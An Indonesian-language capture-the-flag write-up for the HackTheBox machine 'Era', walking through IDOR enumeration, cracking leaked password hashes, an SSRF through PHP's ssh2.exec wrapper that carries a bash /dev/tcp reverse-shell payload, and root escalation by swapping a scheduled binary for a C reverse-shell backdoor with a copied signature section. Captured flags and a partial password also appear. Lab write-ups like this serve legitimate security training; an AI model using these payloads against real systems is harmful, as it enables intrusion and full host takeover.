Halo semuanya! Pada artikel kali ini, saya akan membahas writeup dari salah satu mesin HackTheBox yaitu ERA dengan tingkat kesulitan Medium. Mesin ini cukup menarik karena melibatkan berbagai teknik seperti subdomain enumeration, SSRF (Server-Side Request Forgery), dan privilege escalation.
Initial Reconnaissance
Seperti biasa, langkah pertama yang perlu dilakukan adalah melakukan scanning pada IP target menggunakan nmap:
└─# nmap -sCV -A -T5 10.10.11.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 08:10 EDT
Nmap scan report for 10.10.11.79
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 152.73 ms 10.10.14.1
2 152.85 ms 10.10.11.79
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.41 seconds
Dari hasil scanning, ditemukan beberapa port yang terbuka:
- Port 21/tcp: FTP (vsftpd 3.0.5)
- Port 80/tcp: HTTP (nginx 1.18.0 Ubuntu)
Yang menarik adalah pada port 80, server melakukan redirect ke http://era.htb/, sehingga kita perlu menambahkan domain ini ke file /etc/hosts.

Subdomain Enumeration
Setelah menambahkan era.htb ke hosts file, langkah selanjutnya adalah melakukan fuzzing untuk mencari subdomain menggunakan ffuf:
└─# ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://era.htb/" -H "Host: FUZZ.era.htb" -mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 51ms]
Hasil fuzzing menunjukkan adanya subdomain:
- file.era.htb
Subdomain ini kemudian ditambahkan ke hosts file untuk investigasi lebih lanjut.

Web Application Analysis
Ketika mengakses http://file.era.htb/, ditemukan sebuah aplikasi web file sharing. Untuk mengeksplorasi lebih dalam, dilakukan directory bruteforce menggunakan
└─# feroxbuster -u http://file.era.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://file.era.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, html, js, json, txt, log]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 234l 559w 6765c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://file.era.htb/images => http://file.era.htb/images/
200 GET 1l 6w 70c http://file.era.htb/logout.php
302 GET 0l 0w 0c http://file.era.htb/download.php => login.php
200 GET 105l 233w 3205c http://file.era.htb/register.php
200 GET 327l 740w 9214c http://file.era.htb/login.php
301 GET 7l 12w 178c http://file.era.htb/files => http://file.era.htb/files/
301 GET 7l 12w 178c http://file.era.htb/assets => http://file.era.htb/assets/
302 GET 0l 0w 0c http://file.era.htb/upload.php => login.php
301 GET 7l 12w 178c http://file.era.htb/assets/css => http://file.era.htb/assets/css/
301 GET 7l 12w 178c http://file.era.htb/assets/css/images => http://file.era.htb/assets/css/images/
Dari hasil scanning, ditemukan beberapa endpoint penting:
/download.php – Fungsi download file
/register.php – Halaman registrasi
/login.php – Halaman login
/upload.php – Fungsi upload file

User Registration & File Upload
Setelah melakukan registrasi dan login, ditemukan bahwa aplikasi memiliki fitur upload file. Setiap file yang diupload akan mendapatkan ID unik. Hal ini membuka peluang untuk melakukan IDOR (Insecure Direct Object Reference) attack.

disini ketika mencoba untuk mengupload file pada fungsi upload, akan muncul id dari file yang kita upload

IDOR Attack
Untuk mengeksploitasi kemungkinan IDOR, dibuat wordlist ID menggunakan command seq:
└─# seq 0 100 > id.txt
┌──(root㉿kali)-[~]
└─# ls -la id.txt
-rw-r--r-- 1 root root 294 Jul 29 08:22 id.txt
Kemudian dilakukan fuzzing pada parameter ID menggunakan ffuf:
└─# ffuf -u http://file.era.htb/download.php?id=FUZZ -w id.txt -mc 200 -H "Cookie: PHPSESSID=<cookie>"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /root/id.txt
:: Header : Cookie: PHPSESSID=mlupntpajfr2vcmgupobb2o9mc
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
20 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1014ms]
5 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1014ms]
24 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1023ms]
25 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1025ms]
3 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1014ms]
26 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1018ms]
11 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1019ms]
0 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1031ms]
19 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1019ms]
7 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1018ms]
10 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1019ms]
18 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1021ms]
15 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1033ms]
9 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1021ms]
2 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1026ms]
14 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1050ms]
23 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1061ms]
30 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1061ms]
4 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1050ms]
6 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1061ms]
17 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1065ms]
1 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1064ms]
21 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1070ms]
27 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1068ms]
22 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1067ms]
31 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1064ms]
16 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1068ms]
39 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1068ms]
44 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 388ms]
42 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 389ms]
41 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 380ms]
45 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 388ms]
40 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 375ms]
49 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 371ms]
48 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 371ms]
47 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 371ms]
43 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 389ms]
46 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 376ms]
51 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 367ms]
50 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 370ms]
53 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 359ms]
52 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 369ms]
55 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 368ms]
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 365ms]
56 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
58 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
57 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
59 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 374ms]
60 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
61 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 362ms]
64 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 367ms]
65 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 361ms]
63 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 367ms]
62 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 368ms]
66 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
67 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
68 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 364ms]
70 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 366ms]
71 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 366ms]
69 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 378ms]
73 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 378ms]
72 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
74 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
75 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
76 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 381ms]
78 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 385ms]
77 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 386ms]
79 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 385ms]
80 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 391ms]
81 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 390ms]
85 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
83 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 413ms]
84 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 413ms]
82 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 411ms]
86 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
87 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 414ms]
88 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 413ms]
93 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 405ms]
92 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 403ms]
89 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
90 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 416ms]
94 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
91 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 416ms]
95 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 441ms]
33 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2374ms]
28 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2373ms]
38 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2374ms]
13 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2373ms]
32 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2373ms]
36 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2379ms]
37 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2376ms]
34 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2379ms]
35 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2380ms]
8 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2378ms]
29 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2387ms]
12 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2384ms]
97 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 658ms]
96 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 662ms]
98 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 678ms]
99 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 676ms]
100 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 681ms]
:: Progress: [101/101] :: Job [1/1] :: 69 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
Hasil fuzzing menunjukkan bahwa file dengan ID 54 memiliki size yang berbeda (6378 bytes) dibandingkan file lainnya (7686 bytes), yang mencurigakan.

Database Discovery
Ketika mengunduh file dengan ID 54, ditemukan site backup yang berisi source code aplikasi, termasuk file database SQLite (filedb.sqlite).
┌──(root㉿kali)-[~/site-backup-30-08-24]
└─# ls
bg.jpg files layout_login.php logout.php reset.php screen-main.png upload.php
css functions.global.php layout.php main.png sass screen-manage.png webfonts
download.php index.php LICENSE manage.php screen-download.png screen-upload.png
filedb.sqlite initial_layout.php login.php register.php screen-login.png security_login.php
Analisis database menggunakan sqlite3: Ditemukan beberapa hash password user:
- admin_ef01cab31aa
- eric
- veronica
- yuri
- john
- ethan
└─# sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> .schema users
CREATE TABLE users (
user_id INTEGER PRIMARY KEY AUTOINCREMENT,
user_name varchar(255) NOT NULL,
user_password varchar(255) NOT NULL,
auto_delete_files_after int NOT NULL
, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
sqlite> SELECT user_name, user_password FROM users;
admin_ef01cab31aa|$2y$1..............
eric|$2y$10$S9EOSDqF1RzN.............
veronica|$2y$10$xQmS7JL8UT4B............
yuri|$2b$12$HkRKUdjjOdf2Wu..............
john|$2a$10$iccCEz6.5.W2p7CSB.............
ethan|$2a$10$PkV/LAd07ftxVzBHh...........
Password Cracking
Hash password di-crack menggunakan hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Berhasil mendapatkan kredensial:
username eric password ame**
username yuri password mus***
kita akan menuju login.php, dan didapatkan bahwa kita bisa login dengan menggunakan credential yuri. Kita akan menuju ke reset.php dan ubah semua informasi mengenai user admin_***

Next kita akan melakukan login pada security_login.php dengan menggunakan user admin dan semua informasi yang sudah kita ubah tadi. Tapi sebelum itu….
Source Code Analysis & SSRF Discovery
Dari analisis source code download.php, ditemukan vulnerability SSRF (Server-Side Request Forgery):
<?php
require_once('functions.global.php');
require_once('layout.php');
function deliverMiddle_download($title, $subtitle, $content) {
return '
<main style="
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 80vh;
text-align: center;
padding: 2rem;
">
<h1>' . htmlspecialchars($title) . '</h1>
<p>' . htmlspecialchars($subtitle) . '</p>
<div>' . $content . '</div>
</main>
';
}
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}
if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}
$reqFile = $_GET['id'];
$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it
if (!$realFile) {
echo deliverTop("Era - Download");
echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echo deliverBottom();
} else {
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
// Allow simple download
} else {
echo deliverTop("Era - Download");
echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');
}
}
?>
Kode ini memungkinkan penggunaan PHP stream wrappers tanpa sanitasi yang proper.
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0]; // Ini adalah jalur file yang diambil dari database, contoh: 'files/example.txt'
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r'); // Titik kerentanan
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
}
pada kode ini, memungkinkan kita melakukan SSRF attack, blok elseif yang menangani parameter $_GET['show'] === "true" dan $_SESSION['erauser'] === 1
Parameter $_GET[‘format’] diambil langsung dari input pengguna tanpa sanitasi.
strpos($format, ‘://’) !== false: kode ini memeriksa apakah $format mengandung ://. Jika ya, ia menganggap $format sebagai “wrapper” (protokol stream) yang akan digunakan oleh fungsi fopen().
Baris fopen($wrapper ? $wrapper . $file : $file, ‘r’); Jika $wrapper diisi oleh penyerang (misalnya, http://, ftp://, file://, gopher://, dll.), maka fungsi fopen() akan mencoba membuka URL atau jalur file lokal yang dikonstruksi dari $wrapper dan $file.
Mengenai PHPWrappers, disini kita bisa coba juga untuk user eric, bisa melakukan stream wrapper dengan menggunakan ssh2exec:// dengan mengelabui local 127.0.0.1 dan portnya
SSRF Exploitation
Setelah login sebagai admin dan mengupload file dummy, SSRF dapat dieksploitasi menggunakan ssh2.exec wrapper untuk mendapatkan reverse shell:

payload : http://file.era.htb/download.php?id=4051&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<ip>%2F<port>%200%3E%261;true%27

Initial Access
Payload SSRF berhasil memberikan shell sebagai user eric:
export TERM=xterm
export SHELL=bash
export HISTFILE=/dev/null run thus
eric@era:~$ whoami
whoami
eric
eric@era:~$
kita berhasil login sebagai eric dan kita dapatkan user flagnya
cat user.txt
342051e0646163b0f011694175f8382e
Privilege Escalation
Untuk privilege escalation, digunakan LinPEAS untuk enumerasi sistem:
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.79 - - [29/Jul/2025 11:10:40] "GET /linpeas.sh HTTP/1.1" 200 -
kita host linpeasnya, lalu download pada mesin target
eric@era:~$ wget http://10.10.14.76/linpeas.sh -O linpeas.sh
wget http://10.10.14.76/linpeas.sh -O linpeas.sh
--2025-07-29 14:46:52-- http://10.10.14.76/linpeas.sh
Connecting to 10.10.14.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh’
0K .......... .......... .......... .......... .......... 5% 422K 2s
50K .......... .......... .......... .......... .......... 10% 884K 1s
100K .......... .......... .......... .......... .......... 16% 989K 1s
150K .......... .......... .......... .......... .......... 21% 1004K 1s
200K .......... .......... .......... .......... .......... 26% 683K 1s
250K .......... .......... .......... .......... .......... 32% 747K 1s
300K .......... .......... .......... .......... .......... 37% 772K 1s
350K .......... .......... .......... .......... .......... 42% 666K 1s
400K .......... .......... .......... .......... .......... 48% 910K 1s
450K .......... .......... .......... .......... .......... 53% 770K 1s
500K .......... .......... .......... .......... .......... 58% 1009K 1s
550K .......... .......... .......... .......... .......... 64% 987K 0s
600K .......... .......... .......... .......... .......... 69% 109K 1s
650K .......... .......... .......... .......... .......... 74% 11.1K 2s
700K .......... .......... .......... .......... .......... 80% 133M 1s
750K .......... .......... .......... .......... .......... 85% 159M 1s
800K .......... .......... .......... .......... .......... 91% 154M 1s
850K .......... .......... .......... .......... .......... 96% 152M 0s
900K .......... .......... .......... ... 100% 123M=5.8s
2025-07-29 14:46:58 (162 KB/s) - ‘linpeas.sh’ saved [956174/956174]
eric@era:~$
eric@era:~$ ls -la
ls -la
total 3996
drwxr-x--- 5 eric eric 4096 Jul 29 14:45 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root 9 Jul 2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 eric eric 3771 Jan 6 2022 .bashrc
drwx------ 2 eric eric 4096 Sep 17 2024 .cache
drwxrwxr-x 3 eric eric 4096 Jul 22 08:42 .local
drwx------ 2 eric eric 4096 Sep 17 2024 .ssh
-rw-rw-r-- 1 eric eric 956174 Jul 29 2025 linpeas.sh
-rwxrwxr-x 1 eric eric 3104768 Jul 29 2025 pspy64
-rw-r----- 1 root eric 33 Jul 29 14:17 user.txt
selanjutnya kita jalankan dengan command ./linpeas.sh

Dari hasil LinPEAS, ditemukan bahwa user eric adalah member dari grup devs yang memiliki write permission pada direktori /opt/AV/periodic-checks/.
eric@era:/opt/AV/periodic-checks$ ls -la
ls -la
total 792
drwxrwxr-- 2 root devs 4096 Jul 29 14:53 .
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
-rwxrwxr-x 1 root devs 790032 Jul 29 14:26 monitor
-rwxrwxr-x 1 eric eric 250 Jul 29 2025 reverse.elf
-rw-rw-r-- 1 eric eric 458 Jul 29 14:52 sig
-rw-rw---- 1 root devs 664 Jul 29 14:53 status.log
Binary Analysis & Exploitation
Di direktori /opt/AV/periodic-checks/, terdapat binary monitor yang berjalan secara periodik. Strategi privilege escalation:
– Membuat backdoor C Program:
cat << EOF > backdoor.c
#include <stdlib.h>
int main() {
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.xx.xx/1234 0>&1'");
return 0;
}
EOF
2. Compile backdoor:
gcc -static -o monitor_backdoor backdoor.c
3. Inspect header dari file monitor dengan menggunakan readelf
readelf -S monitor

– Extract signature section dari binary asli:
objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
– Menambahkan signature ke backdoor:
objcopy --add-section .text_sig=sig monitor_backdoor
kita jalankan listener sesuai dengan port yang sudah kita set tadi pada backdoor c
└─# rlwrap nc -lvnp 1234
listening on [any] 1234 ...
jika sudah disini kita akan replace original monitor binary dengan binary monitor backdoor yang sudah berhasil kita buat tadi.
cp monitor_backdoor monitor
Root Access
Setelah menunggu scheduled task berjalan, reverse shell sebagai root berhasil diperoleh:

root@era:~# cat root.txt
cat root.txt
42fcf05d374b028247699784f0bee72c
Great article.